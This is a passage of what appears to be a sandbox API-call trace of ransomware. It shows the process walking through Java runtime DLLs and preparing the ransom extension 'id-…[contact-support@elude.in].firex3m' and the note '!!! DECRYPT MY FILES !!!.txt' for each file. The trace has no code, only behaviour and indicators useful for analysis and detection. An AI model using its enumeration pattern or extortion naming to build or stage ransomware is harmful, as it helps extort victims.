dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0116.701] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 1 [0116.701] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll") returned 0x2e [0116.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.701] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.701] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.701] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0116.701] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 1 [0116.701] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 0x33 [0116.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.701] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.701] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.702] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0116.702] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 1 [0116.702] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 0x34 [0116.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.702] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.702] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.702] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1 [0116.702] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 1 [0116.702] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe") returned 0x2e [0116.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.703] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.703] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.703] GetProcessHeap () returned 0x630000 [0116.703] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1208 [0116.703] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0116.703] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 1 [0116.703] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll") returned 0x2e [0116.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.703] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.703] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.703] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0116.704] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll", len=0x32 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 1 [0116.704] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 0x32 [0116.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.704] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.704] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.704] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0116.704] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 1 [0116.704] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", cchLength=0x36 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 0x36 [0116.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.704] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.704] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.705] GetProcessHeap () returned 0x630000 [0116.705] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0x10) returned 0x6b1340 [0116.705] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0116.705] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 1 [0116.705] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll") returned 0x34 [0116.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.705] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.705] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.705] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0116.705] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 1 [0116.705] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 0x31 [0116.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.706] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.706] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.706] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0116.706] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 1 [0116.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll") returned 0x2f [0116.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.706] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.706] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.706] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0116.707] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 1 [0116.707] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll") returned 0x2f [0116.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.707] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.707] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.707] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0116.707] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 1 [0116.707] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll") returned 0x31 [0116.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.707] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.707] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.708] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0116.708] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 1 [0116.708] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 0x33 [0116.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.708] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.708] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.708] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0116.708] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 1 [0116.708] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll") returned 0x2f [0116.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.709] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.709] CharLowerBuffW (in: 